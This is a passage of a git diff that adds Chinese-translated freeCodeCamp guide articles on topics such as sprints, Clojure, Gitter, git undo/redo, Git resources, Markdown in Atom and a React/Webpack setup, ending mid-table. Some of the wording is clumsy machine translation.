+我们有像[Flask](http://flask.pocoo.org/) ， [Bottle](http://bottlepy.org/docs/dev/index.html)这样的微框架。我们还有像[Django](https://www.djangoproject.com/)这样的框架，其中包含[电池](https://github.com/rosarior/awesome-django) 。您可以[在此处](https://en.wikipedia.org/wiki/Comparison_of_web_frameworks#Python)找到用Python编写的完整Web框架列表。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/web-resources-for-your-learning/index.md b/client/src/guide/chinese/miscellaneous/web-resources-for-your-learning/index.md
new file mode 100644
index 0000000000..134f45eb35
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/web-resources-for-your-learning/index.md
@@ -0,0 +1,20 @@
+---
+title: Web Resources for Your Learning
+localeTitle: 适合您学习的网络资源
+---
+有用的链接，以帮助您学习和项目。
+
+## 链接
+
+*   [网络现场手册](http://webfieldmanual.com)
+
+## 调试
+
+*   [节点检查](https://www.npmjs.com/package/node-inspector)
+*   [Brackets实时预览](http://brackets.io)
+*   [浏览器同步](http://www.browsersync.io)
+
+## 工具和资源
+
+*   [彩色对比度分析仪](http://wave.webaim.org/report#/google.com)
+*   [颜色模式](http://colorlovers.com)
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/what-is-a-sprint/index.md b/client/src/guide/chinese/miscellaneous/what-is-a-sprint/index.md
new file mode 100644
index 0000000000..f9c60f4fe6
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/what-is-a-sprint/index.md
@@ -0,0 +1,23 @@
+---
+title: What Is a Sprint
+localeTitle: 什么是冲刺
+---
+**冲刺**是从项目的总体时间线中分解出来的一段时间，其中相关任务将在该段时间内完成。该任务列表称为sprint的_产品Backlog_ 。
+
+_冲刺_背后的意识形态允许更大的时间线容易地分解成更小，更易消化的部分，以便将所有利益相关者的努力集中在一次几个逻辑计划的任务上。
+
+在转移到下一个sprint之前，关键利益相关者必须接受来自sprint的所有可交付成果，并且项目将有多个sprint，直到满足范围。
+
+在大多数情况下， _冲刺_开始于计划会议，其中请求工作的人员与开发人员会面，以确定在讨论的时间段或冲刺期间可以实际完成哪些工作。开发人员通常会对sprint期间完成的工作有最终决定权。
+
+在一些组织中，这些会议将由Scrum Master或项目经理监督，以确保在所有冲刺完成后满足项目的总体目标。
+
+平均而言，冲刺将持续多达30天或短至7天，具体取决于项目规模，要完成的任务数量以及可用于冲刺任务的资源数量。
+
+此外，在一些组织中，开发人员将每天开会讨论项目进度，需求和障碍。这些会议有时被称为SCRUM会议或每日站立会议。有时会邀请一个或多个人听，但他们只是作为观察员出席。
+
+![sprint schedule](https://i.imgur.com/l8EAw1L.png "冲刺计划的例子")
+
+以上是冲刺计划的一个例子，该计划已经在六个30天的冲刺中进行了规划。您可以看到六个冲刺中的每一个都有一个Sprint Dev，但是从Sprint 2开始就标记为**Sprint＃Increment** 。
+
+Sprint Dev表示此sprint期间正在进行的开发，而Sprint Increment是在当前sprint和之前所有sprint中完成的所有产品待办事项的总和。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/what-is-clojure/index.md b/client/src/guide/chinese/miscellaneous/what-is-clojure/index.md
new file mode 100644
index 0000000000..06c24f4968
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/what-is-clojure/index.md
@@ -0,0 +1,44 @@
+---
+title: What Is Clojure
+localeTitle: 什么是Clojure
+---
+## Clojure是Lisp的一种方言。
+
+Lisps是一个完全独立的C语言系列，如C＃，Javascript，Python或Ruby。这意味着对于熟悉这些语言的程序员来说，Lisps可能看起来很奇怪。本质上，作为一个Lisp意味着Clojure中的所有内容都是一个包含数据的列表（甚至是函数调用！），它具有动态类型，您可以定义允许您操作自己的代码的_宏_ 。以下是一些Clojure的简单示例供您查看：
+```
+   (defn hello-world [] (println "Hello world!")) 
+```
+
+这定义了一个名为`hello-world`的函数（使用`defn`宏），它不接受任何输入（ `[]` ）并打印`"Hello world!"`到控制台。我们可以这样称呼它：
+```
+   (hello-world) 
+   ; => Hello world! 
+   ;    nil 
+```
+
+## Clojure是一种功能语言。
+
+Clojure中所有变量是不可变的，并且可以不使用赋值运算符（变更`=`在最类似C语言）或通过的功能。所有函数的目标都是_引用透明_ ，这意味着如果你给它们相同的输入，它们应该给出相同的输出，无论如何。上面的`hello-world`示例是引用透明的 - 它将始终打印“Hello world！”无论。依赖于随机数生成器的东西不是引用透明的，因为它的输出是随机的。
+```
+  (defn random-function [] 
+    (if (> (rand 4) 2)     ; if a random number between 0 and 2 is greater than 2... 
+      (println "foo")      ; ...print "foo". otherwise... 
+      (println "bar")))    ; ...print "bar" 
+```
+
+虽然无法改变变量可能听起来很噩梦，但它比你想象的容易得多，特别是如果语言基于它（比如Clojure就是！），并且避免不必要的变异会使你的代码变得更少。
+
+## Clojure在Java虚拟机上运行。
+
+JVM是解释Java字节码并使用它来运行程序的虚拟机。这意味着Clojure几乎可以与为Java设计的代码无缝地工作（尽管看起来确实有些奇怪），这也意味着它与其他一些Lisps相比运行得非常快。虽然它比Java慢很多，但它仍然比Python，Ruby或Javascript快得多。
+```
+  (.indexOf [1 2 3 4] 2) ;; .indexOf is a Java method! 
+  ; => 1 
+```
+
+## Clojure是为并发而设计的。
+
+“并发”在这里意味着“一个程序同时处理多个线程”，这可以使您的代码更快。它还可以使您的代码更加轻松;想象一下，如果两个不同的功能正在改变并同时从同一个对象中读取！这将是彻头彻尾的混乱。值得庆幸的是，在Clojure中，变量是不可变的，这意味着这种混乱不可能破坏。该语言还具有各种功能，可以使并发代码更容易，例如软件事务内存系统，代理和原子。
+
+| ![:point_left:](//forum.freecodecamp.com/images/emoji/emoji_one/point_left.png?v=2 "：point_left：")上一页| [![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 "：书：")家![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 "：书：")](//forum.freecodecamp.com/t/clojure-resources/18422) | [下一个![:point_right:](//forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=2 "：point_right：")](//forum.freecodecamp.com/t/clojure-the-basics/18410) |  
+| | [目录](//forum.freecodecamp.com/t/clojure-resources/18422) | [基础知识](//forum.freecodecamp.com/t/clojure-the-basics/18410) |
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/what-is-gitter/index.md b/client/src/guide/chinese/miscellaneous/what-is-gitter/index.md
new file mode 100644
index 0000000000..6ade0e6188
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/what-is-gitter/index.md
@@ -0,0 +1,15 @@
+---
+title: What Is Gitter
+localeTitle: 什么是Gitter
+---
+# Gitter是一个受开源项目欢迎的聊天室系统。
+
+![来自Gitter的截图](//discourse-user-assets.s3.amazonaws.com/original/2X/9/901b6ff18a83b746b1b7e96cb6907440d531d977.png)
+
+[Gitter.im](https://gitter.im)是一家快速发展的创业公司，总部设在伦敦。
+
+免费代码营有数百个Gitter房间。这些都可以通过Gitter的网站以及[桌面和移动应用程序访问](https://gitter.im/apps) 。
+
+您可以查看[我们所有的房间](https://github.com/FreeCodeCamp/FreeCodeCamp/wiki/Official-Free-Code-Camp-Chat-Rooms)并加入您想要的[房间](https://github.com/FreeCodeCamp/FreeCodeCamp/wiki/Official-Free-Code-Camp-Chat-Rooms) 。
+
+Gitter允许您与其他露营者共享[格式化代码](https://github.com/FreeCodeCamp/freecodecamp/wiki/Pasting-Code-in-Gitter) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/what-is-grunt/index.md b/client/src/guide/chinese/miscellaneous/what-is-grunt/index.md
new file mode 100644
index 0000000000..75ddfb01ad
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/what-is-grunt/index.md
@@ -0,0 +1,5 @@
+---
+title: What Is Grunt
+localeTitle: 什么是咕噜声
+---
+无论何时创建新的路由或指令，都必须在_grunt_终端窗口中使用`control+c`来退出grunt进程并重新运行`grunt serve`以便将新的路由/指令包含在项目的**index.html中** 。有时_grunt_可能有点吝啬，如果它认为你的项目有问题就拒绝运行。显然你应该尝试解决这个问题，但是grunt的错误不是很有帮助，所以不要太担心 - grunt通常仍然可以使用命令`grunt serve --force`完全运行。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/what-is-the-net-framework/index.md b/client/src/guide/chinese/miscellaneous/what-is-the-net-framework/index.md
new file mode 100644
index 0000000000..ed653c2dbb
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/what-is-the-net-framework/index.md
@@ -0,0 +1,15 @@
+---
+title: What Is the Net Framework
+localeTitle: 什么是网络框架
+---
+![.NET徽标](//discourse-user-assets.s3.amazonaws.com/original/2X/7/7068b1111104197f2692a98aec00f388e09e9ab5.png)
+
+[.NET Framework](https://www.microsoft.com/net)或简称.NET是一个多用途的多语言运行时框架;由[Microsoft](https://www.microsoft.com)创建和拥有。
+
+它有一个大型类库，支持语言插值;并主要在Windows上运行。
+
+微软在20世纪90年代末开始开发.NET Framework，到了2000年代;测试版发布了。除了Windows GUI开发和Windows Phone应用程序开发之外; .NET框架用于Web开发。
+
+它与[Microsoft Azure](https://azure.microsoft.com/en-us/)云托管平台和[SQL Server](https://www.microsoft.com/en-us/server-cloud/products/sql-server/)数据库无缝[协作](https://azure.microsoft.com/en-us/) 。它允许以多种不同的语言对服务器端进行编程;主要在[C＃中](https://msdn.microsoft.com/en-us/library/67ef8sbd.aspx) 。
+
+[MSDN](https://msdn.microsoft.com/en-us/default.aspx)作为一个内容丰富的社区，使用.NET进行Web开发有很多潜力和好处。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/what-to-do-if-you-speak-a-language-not-yet-supported-by-free-code-camp/index.md b/client/src/guide/chinese/miscellaneous/what-to-do-if-you-speak-a-language-not-yet-supported-by-free-code-camp/index.md
new file mode 100644
index 0000000000..73e7728cc9
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/what-to-do-if-you-speak-a-language-not-yet-supported-by-free-code-camp/index.md
@@ -0,0 +1,15 @@
+---
+title: What to Do if You Speak a Language not Yet Supported by Free Code Camp
+localeTitle: 如果你说一种语言尚未被免费代码营支持，该怎么办
+---
+翻译是一个全有或全无的提议。
+
+在我们所有人之前，我们将无法向Free Code Camp添加新语言  
+挑战被翻译成那种语言。
+
+除了最初翻译这些，我们还需要维护  
+随着挑战逐渐更新的翻译（我们使用  
+github发布系统保持记录）。
+
+如果您能够帮助我们，请加入[gitter频道](https://gitter.im/FreeCodeCamp/Translators)  
+并阅读[翻译指南](http://forum.freecodecamp.com/t/guidelines-for-translating-free-code-camp-to-any-language/19111)
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/what-you-will-learn-at-free-code-camp-in-order/index.md b/client/src/guide/chinese/miscellaneous/what-you-will-learn-at-free-code-camp-in-order/index.md
new file mode 100644
index 0000000000..70837af3ed
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/what-you-will-learn-at-free-code-camp-in-order/index.md
@@ -0,0 +1,20 @@
+---
+title: What You Will Learn at Free Code Camp in Order
+localeTitle: 您将在免费代码营中学到什么
+---
+*   [HTML5](https://developer.mozilla.org/en-US/docs/Web/HTML) - 网页的结构。
+*   [CSS](https://developer.mozilla.org/en-US/docs/Web/CSS) - 网页的视觉风格。
+*   [Bootstrap](http://getbootstrap.com/) - 一种“响应式设计”工具，可帮助您的网站在平板电脑和手机上显示出色。
+*   [jQuery](https://jquery.com/)和[Ajax](https://developer.mozilla.org/en-US/docs/AJAX) - 用于控制浏览器内容的简单工具。
+*   [JavaScript](https://developer.mozilla.org/en-US/docs/Web/JavaScript) - 所有Web浏览器使用的一种编程语言。
+*   [算法](https://en.wikipedia.org/wiki/Algorithm) - 完成任务的逐步配方。
+*   [Git](https://git-scm.com/) - 用于保存和共享项目的版本控制系统。
+*   [MongoDB](https://www.mongodb.org/) - 一种流行的非关系数据库。
+*   [D3.js](http://d3js.org/) - 用于在Web浏览器中生成动态交互式数据可视化的JavaScript库。
+*   [Express.js](http://expressjs.com/) - 一个功能强大的Web开发框架。
+*   [Node.js](https://nodejs.org/) - 用于创建可伸缩网络应用程序的平台。
+*   [SASS](http://sass-lang.com/) - 一种脚本语言，被解释为层叠样式表（CSS）。
+*   [API开发](https://en.wikipedia.org/wiki/Application_programming_interface) - 用于构建软件和应用程序的一组例程，协议和工具。
+*   [敏捷](https://en.wikipedia.org/wiki/Agile_software_development) - 一组软件开发原则，旨在将项目的设计和生产重点放在用户的需求上
+
+![](http://2.bp.blogspot.com/-CPfmVm56c7c/VTwEpZkHBtI/AAAAAAAAAks/0dEwiH-DjEE/s1600/curriculum-diagram-full.jpg%7Cwidth=600px)
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/when-to-undoredo/index.md b/client/src/guide/chinese/miscellaneous/when-to-undoredo/index.md
new file mode 100644
index 0000000000..a0ce6032b4
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/when-to-undoredo/index.md
@@ -0,0 +1,47 @@
+---
+title: When to Undoredo
+localeTitle: 什么时候去Undoredo
+---
+当您对git进行一些更改时，通常需要UNDO / REDO，并意识到需要删除/还原更改。这在场景中非常常见，例如，当您对某些文件进行临时更改并忘记还原它们时，然后继续将它们添加到意外提交中。
+
+## UNDO / REDO工作流程：
+
+假设您做了一些更改并做出如下提交：
+```
+git commit -m "Commit 1 - Some changes to the code" 
+ git commit -m "Commit 2 - Some MORE changes to the code" 
+```
+
+1.  （ `git reset --soft HEAD~` ）：恢复最后一次提交`git reset --soft HEAD~`
+2.  _做这些改变。_
+3.  将文件添加到临时区域`git add <filenames or paths>`或`git add --all`
+4.  （重做）：做提交。 `git commit -c ORIG_HEAD`或`git commit -C ORIG_HEAD`
+
+## 这个怎么用？
+
+现在你知道了流程让我们了解它在幕后的运作方式。
+
+1.  `Step 1`将最后一次提交，即`"Commit 2 - Some MORE..."`重置为`"Commit 1 - Some..."`提交。
+2.  在`Step 2` ，您将根据文件进行更改。
+3.  在`Step 3` ，您可以选择性地使用`git add <filenames>`或使用`git add --all`所有已更改的文件添加到暂存区域。
+4.  在最后一步中，您将在暂存区域中提交更改。
+
+注意：您可以使用`-c`或`-C` 。 small `-c`将打开一个用于修改提交消息的编辑器，在这种情况下它将是`Commit 2 - Some MORE...`您可以根据需要编辑提交消息。
+
+或者你可以使用大写`-C` ，其中git将跳过编辑器窗口， _并重_用_LAST_提交消息，在这种情况下再次`Commit 2 - Some MORE...`
+
+重用“相同”提交消息也称为重做/重新授权。
+
+## 在提交之前取消暂停
+
+要在提交之前撤消暂存的更改，只需运行`git reset <file>`或`git reset`以在提交之前取消所有更改。
+
+注意：在旧版本的git中，命令分别是`git reset HEAD <file>`和`git reset HEAD` 。这在Git 1.8.2中有所改变
+
+## 更多技巧：
+
+您可以通过使用返回任意数量的提交`git reset --soft HEAD~n`要撤消最后`n`提交。
+
+## 归因：
+
+本文基于Stack Overflow问题[在此处](http://stackoverflow.com/questions/927358/how-do-you-undo-the-last-commit/927386#927386)和[此处](http://stackoverflow.com/questions/348170/undo-git-add-before-commit/348234#348234) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/why-free-code-camp-left-slack/index.md b/client/src/guide/chinese/miscellaneous/why-free-code-camp-left-slack/index.md
new file mode 100644
index 0000000000..954b5b8814
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/why-free-code-camp-left-slack/index.md
@@ -0,0 +1,13 @@
+---
+title: Why Free Code Camp Left Slack
+localeTitle: 为什么免费代码营左边松弛
+---
+Slack是Free Code Camp的一个流行的聊天室服务
+
+![免费Code Camp的Slack使用情况统计](//discourse-user-assets.s3.amazonaws.com/original/2X/d/da98adf7a036ae5bd8410b09c64f394d014694a0.png)
+
+尽管我们喜欢使用这项服务，但它很适合大型开源社区。这就是说，许多开源社区仍然使用Slack，而Slack并没有采取任何措施阻止这种做法。
+
+如果你很好奇，你可以阅读[Slack的虚假广告以及2015年6月引发的失败](http://blog.freecodecamp.com/2015/06/so-yeah-we-tried-slack-and-we-deeply-regretted-it.html) 。
+
+免费代码营现在使用[Gitter](https://github.com/FreeCodeCamp/freecodecamp/wiki/Gitter) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/wiki-git-aliases/index.md b/client/src/guide/chinese/miscellaneous/wiki-git-aliases/index.md
new file mode 100644
index 0000000000..2bcc27b2c5
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/wiki-git-aliases/index.md
@@ -0,0 +1,11 @@
+---
+title: Wiki Git Aliases
+localeTitle: Wiki Git别名
+---
+对于大多数开发人员来说，我们花了很多时间在终端上，其中大部分花在键入Git命令上。我们创建了一组带有Bash别名和功能的键盘快捷键，以加快您的工作流程并每天节省数百次击键。
+
+Git允许你设置别名，但它们是有限的，只能节省你几次击键（即你可以输入git co而不是git checkout，但你仍然需要键入git）。由于Bash是终端的默认命令行解释器，因此您还可以设置Bash别名以进一步减少击键次数。
+
+这是一个Git Bash别名和函数列表。要将它们用作您自己的，只需将它们添加到您存储别名/函数的文件中。（即`~/.bash_profile`或`~/.bashrc` ）
+
+复制和粘贴时，保持间距很重要。 （即对于别名，在等号前后必须没有空格，对于函数，在声明的开始大括号后面必须有一个空格，在命令后面必须有分号。不要忘记重新加载文件（ source `~/.bash_profile` ）或进行更改后重启终端。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/wiki-git-resources/index.md b/client/src/guide/chinese/miscellaneous/wiki-git-resources/index.md
new file mode 100644
index 0000000000..2fd68d02fc
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/wiki-git-resources/index.md
@@ -0,0 +1,48 @@
+---
+title: Wiki Git Resources
+localeTitle: Wiki Git Resources
+---
+# Git资源
+
+[Git VCS](https://git-scm.com)上的一组资源。
+
+Git是一个免费的开源分布式版本控制系统，旨在快速，高效地处理从小型到大型项目的所有事务。
+
+## 用品
+
+*   [别名](http://forum.freecodecamp.com/t/wiki-git-aliases/13155)
+*   [修改最后](http://forum.freecodecamp.com/t/amending-the-most-recent-commit-message/13186)
+*   [代理人背后的Git](http://forum.freecodecamp.com/t/git-behind-a-proxy-server/13187)
+*   [怪](http://forum.freecodecamp.com/t/find-the-culprit-with-git-blame/13194)
+*   [更改远程存储库的URL](http://forum.freecodecamp.com/t/change-the-url-of-a-remote-repository/13196)
+*   [签出远程分支](http://forum.freecodecamp.com/t/checkout-a-remote-branch-in-git/13198)
+*   [克隆所有远程分支](http://forum.freecodecamp.com/t/cloning-all-remote-branches-in-git/13202)
+*   [克隆特定分支](http://forum.freecodecamp.com/t/cloning-a-specific-branch-in-git/13199)
+*   [编写好的Git提交消息](http://forum.freecodecamp.com/t/writing-good-git-commit-messages/13210)
+*   [在本地和远程删除分支](http://forum.freecodecamp.com/t/delete-a-git-branch-both-locally-and-remotely/13211)
+*   [放弃未分级的更改](http://forum.freecodecamp.com/t/discard-unstaged-changes-in-git/13214)
+*   [合并](http://forum.freecodecamp.com/t/understand-how-to-use-git-merge/13215)
+*   [拉上覆盖本地文件](http://forum.freecodecamp.com/t/override-local-files-with-git-pull/13216)
+*   [Pull vs Fetch](http://forum.freecodecamp.com/t/git-pull-vs-git-fetch/13219)
+*   [将本地推送到远程存储库](http://forum.freecodecamp.com/t/push-a-new-local-branch-to-a-remote-git-repository-and-track-it-too/13222)
+*   [变基](http://forum.freecodecamp.com/t/how-to-use-git-rebase/13226)
+*   [删除子模块](http://forum.freecodecamp.com/t/how-to-remove-a-submodule-in-git/13228)
+*   [重命名本地分支](http://forum.freecodecamp.com/t/rename-local-branches-in-git/13230)
+*   [壁球提交](http://forum.freecodecamp.com/t/how-to-squash-multiple-commits-into-one-with-git/13231)
+*   [撤消Git Add](http://forum.freecodecamp.com/t/how-to-undo-a-git-add/13237)
+*   [撤消和重做提交](http://forum.freecodecamp.com/t/when-to-undo-redo/13233)
+*   [Untrack文件](http://forum.freecodecamp.com/t/untrack-files-previously-committed-from-new-gitignore/13239)
+
+## 书籍和教程
+
+*   [Pro Git](https://git-scm.com/book) - 由Scott Chacon和Ben Straub编写并由Apress出版的整本Pro Git书籍可在此处获取。免费下载PDF，mobi或ePub表格。
+*   [成为一个git大师 - Atlassian](https://www.atlassian.com/git/tutorials/) - 响应网站与Git教程，培训和文章。
+*   [Git In The Trenches](http://cbx33.github.io/gitt/) - Git In The Trenches，或者GITT旨在成为一本专注于教人们使用Git的书，通过与一个名为Tamagoyaki Inc.的虚构公司所经历的场景相关联。以PDF，mobi或者下载本书ePub表格免费。
+*   [官方Git教程](https://git-scm.com/docs/gittutorial) - 本教程解释了如何将新项目导入Git，对其进行更改以及与其他开发人员共享更改。
+*   [官方Git用户手册](https://git-scm.com/docs/user-manual.html) - 本手册旨在让具有基本UNIX命令行技能的人可读，但之前没有Git知识。
+*   [试试Github和CodeSchool的Git教程](https://try.github.io) - 本教程是一个快速的15分钟冲刺，可以在浏览器中开始使用Git。
+
+## 其他资源
+
+*   [Git Ready](http://gitready.com) - 由Nick Quaranto'一次学习git one commit'
+*   [Hub](https://hub.github.com/) -Hub是git的命令行包装器，可以让你在GitHub上更好。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/write-and-run-es6-code-in-the-browser/index.md b/client/src/guide/chinese/miscellaneous/write-and-run-es6-code-in-the-browser/index.md
new file mode 100644
index 0000000000..75e0435c15
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/write-and-run-es6-code-in-the-browser/index.md
@@ -0,0 +1,22 @@
+---
+title: Write and Run Es6 Code in the Browser
+localeTitle: 在浏览器中编写并运行Es6代码
+---
+> 在页面中包含以下代码。
+```
+<!-- Write these first. Here `bootstrap.js` doesn't mean Twitter Bootstrap. --> 
+ <script src="https://google.github.io/traceur-compiler/bin/traceur.js"></script> 
+ <script src="https://google.github.io/traceur-compiler/src/bootstrap.js"></script> 
+ 
+ <!-- Edit the src. Write `type="module"` (important) for linked script --> 
+ <script src="app.js" type="module"></script> 
+ 
+ <!-- Remember to write `type="module"` for embedded script --> 
+ <script type="module"> 
+    //→ write your script here 
+ </script> 
+```
+
+**请参阅：** [Traceur编译器入门](https://github.com/google/traceur-compiler/wiki/Getting-Started)
+
+**演示：** [ES6 Demo Repo Source](https://github.com/abhisekp/JS-Weird-Parts/tree/109ab3b0c94d1fbf9bbc402dd36e9bca60d5b456)
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/writing-a-markdown-file-for-github-using-atom/index.md b/client/src/guide/chinese/miscellaneous/writing-a-markdown-file-for-github-using-atom/index.md
new file mode 100644
index 0000000000..07afd12dbb
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/writing-a-markdown-file-for-github-using-atom/index.md
@@ -0,0 +1,64 @@
+---
+title: Writing a Markdown File for Github Using Atom
+localeTitle: 使用Atom为Github写一个Markdown文件
+---
+Markdown是一种在Web上设置文本样式的方法，GitHub用户使用markdown为其存储库提供文档。
+
+来自[GitHub指南](https://guides.github.com/features/mastering-markdown/) ：
+
+> 您可以控制文档的显示;将单词格式化为粗体或斜体，添加图像和创建列表只是我们可以使用Markdown执行的一些操作。大多数情况下，Markdown只是常规文本，其中包含一些非字母字符，如＃或\*。
+> 
+> 你可以在GitHub周围的大多数地方使用Markdown：
+> 
+> *   要旨
+> *   问题和请求中的注释
+> *   扩展名为.md或.markdown的文件
+> 
+> Markdown文件的扩展名为`.md` ，你会发现大量的GitHub存储库都有`README.md`文件。
+
+一个很好的例子是，如果你想为这个存储库编写一个Wiki文件，那么它需要是一个`.md`文件。你现在正在阅读的是一个名为`writing-a-markdown-file-using-atom.md`的降价文件。
+
+Markdown文件很容易编写，你可以[在这里](https://github.com/adam-p/markdown-here/wiki/Markdown-Cheatsheet)找到降价备忘单。
+
+## 在GitHub上创建自述文件
+
+您可以在GitHub上编写README.md文件：
+
+![截屏2016-02-29于18 07 19](//discourse-user-assets.s3.amazonaws.com/original/2X/9/9a1d7f226df87df437f616fcaf5b7adcf02c8e87.png)
+
+这使您能够在“编辑新文件”和“预览”视图之间切换：
+
+![截屏2016-02-29于18 06 24](//discourse-user-assets.s3.amazonaws.com/original/2X/e/e0b3ddb69c3f2c32c0c7e73f1b1d196a54f03c21.png)
+
+如果您的自述文件很小，并且您不介意在两个视图之间切换，这是理想的选择。
+
+但是，如果您的`.md`文件不是自述文件，并且您希望在文本编辑器中工作并在编辑时同时实时预览文本的内容，该怎么办？
+
+## 使用Atom编写Markdown文件
+
+如果您正在编写一个长或详细的markdown文件，那么有助于实时预览您的markdown的样子，就像您正在使用实时重新加载功能来更新浏览器一样例如，它使用HTML和CSS。
+
+创建markdown文件的好方法是使用[Atom文本编辑器](https://atom.io/) 。您可以免费安装和使用Atom。
+
+与其他文本编辑器一样，Atom使用包，这些包是允许您自定义工作流的代码片段。  
+1.首先，您需要从[此处](https://atom.io/)安装Atom文本编辑器。  
+2.安装Atom时，打开它，然后打开扩展名为`.md`的新文件。  
+3.要查看实时预览，请右键单击左侧资源管理器中的`.md`文件，然后选择顶部选项“Markdown Preview”：
+
+![屏幕截图2016-02-29 18 17 30](//discourse-user-assets.s3.amazonaws.com/original/2X/e/ea3746446180c0e0ad2bb61f30a6c3ad8bc25c57.png)
+
+凉！您现在应该在Atom中看到两个窗格。左边是你的文字，右边是你的'编译'降价，即它在GitHub上的样子：
+
+![截屏2016-02-29 at 18 21 38](//discourse-user-assets.s3.amazonaws.com/original/2X/a/a1f27aa8afe060e252f245ced3456f196c85ef1b.png)
+
+请注意，Atom还会将您正在使用的内容识别为特定格式，即“GitHub Markdown”：
+
+![截屏2016-02-29 at 19 15 43](//discourse-user-assets.s3.amazonaws.com/original/2X/c/cf5b2fc473c32a14a2de302fd88e4c2edde02453.png)
+
+1.  当您的markdown文件准备好提交到您的GitHub存储库时，您可以继续提交它！
+
+要为FreeCodeCamp wiki做贡献，请转到[此页面](https://github.com/FreeCodeCamp/freecodecamp/wiki)并查看“如何贡献的指南”部分。
+
+要将项目或文件添加到GitHub，请转到[此页面](https://help.github.com/articles/adding-an-existing-project-to-github-using-the-command-line/) 。
+
+**奖金步骤：** Atom有一个名为[Markdown Preview Plus](https://atom.io/packages/markdown-preview-plus)的软件包。它与普通的降价预览器相同，但预览文件的样式更准确地符合GitHub样式。继续安装此软件包，看看你得到了什么。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/writing-code-for-your-es6-react-with-webpack-project/index.md b/client/src/guide/chinese/miscellaneous/writing-code-for-your-es6-react-with-webpack-project/index.md
new file mode 100644
index 0000000000..11afe4cbb7
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/writing-code-for-your-es6-react-with-webpack-project/index.md
@@ -0,0 +1,125 @@
+---
+title: Writing Code for Your Es6 React with Webpack Project
+localeTitle: 使用Webpack项目为Es6 React编写代码
+---
+## DIST / index.html的
+
+我们现在可以打开我们的`dist/index.html` 。这将是加载整个应用程序的一个HTML页面。对于这个文件，我们根本不需要太多代码，只需要：
+
+*   在`src/js/client.js`为React DOM设置一个元素。
+*   链接到我们的捆绑JavaScript文件（尚不存在）。
+
+因此，这就是我们的`dist/index.html`文件的样子：
+```
+<!DOCTYPE html> 
+ <html lang="en"> 
+ <head> 
+  <meta charset="UTF-8"> 
+  <title>React Webpack Example</title> 
+ </head> 
+ <body> 
+  <!-- React app will be injected into the following `div` element: --> 
+  <div id="app"></div> 
+  <!-- Include bundled JavaScript: --> 
+  <script src="bundle.js"></script> 
+ </body> 
+ </html> 
+```
+
+你可能想知道为什么这个页面链接到`bundle.js` ，到目前为止我们所有的都是空的`src/js/client.js` 。稍后我们编写Webpack配置文件时会显示这一点。
+
+## SRC / JS / client.js
+
+现在是时候编写一些React代码了。就像在`dist/index.html`文件中一样，现在我们将编写足够的代码来启动应用程序，因此根本不需要太多代码：
+```
+import React from 'react'; 
+ import ReactDOM from 'react-dom'; 
+ 
+ class Main extends React.Component { 
+  render() { 
+    return ( 
+      <div> 
+        <h1>This is one cool app!</h1> 
+      </div> 
+    ); 
+  } 
+ } 
+ 
+ const app = document.getElementById('app'); 
+ ReactDOM.render(<Main />, app); 
+```
+
+看起来像HTML元素的代码实际上是JSX，它是React的一部分。
+
+*   [帮助：有关JSX的更多信息](http://buildwithreact.com/tutorial/jsx)
+
+为了解释这个文件中发生了什么，我们将其分解：
+
+*   首先，我们导入`React`和`ReactDOM` 。这些是用于将代码注入DOM的任何React文件所必需的。 `ReactDOM`是一个虚拟DOM，它与标准文档对象模型不同。
+    
+*   [帮助：有关React DOM的更多信息](https://facebook.github.io/react/docs/glossary.html)
+    
+    *   接下来，我们将创建一个React类。在ES6中将类添加到JavaScript中。因此，这是编写React类的ES6方法，但当然[我们也可以在ES5中编写一个](https://toddmotto.com/react-create-class-versus-component/) 。
+*   [帮助：有关ES6课程的更多信息](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes)
+    
+
+每个React类都有一个`render`方法。在这种情况下， `render`方法`return`一个JSX `div`元素。这是我们将在任何React文件中看到的内容。该类可以包含必须出现在`render`方法之前的其他方法，它始终位于类的底部。
+
+*   最后，我们将React与`index.html`联。我们将`app`设置为我们希望注入React代码的位置。最后，使用ReactDOM，我们将我们编写的组件`<Main />`注入到app中，在这种情况下是`app`的`id`为`div` 。
+
+## webpack.config.js
+
+在我们的项目准备好之前，还有一个文件要写。这是Webpack配置文件。起初， `webpack.config.js`文件可能会令人困惑，但通常情况下，它们并不像看起来那么复杂。
+
+在这种情况下，最基本的是， `webpack.config.js`导出一个具有以下属性的对象：
+
+|财产|角色|  
+| --- | --- |  
+|进入|内容：应用程序的切入点。在这种情况下，它是`src/js/client.js` 。 |  
+|输出|出现了什么：Webpack将为我们捆绑什么。在这种情况下，它是我们在`webpack.config.js`命名的任何`webpack.config.js` 。 |  
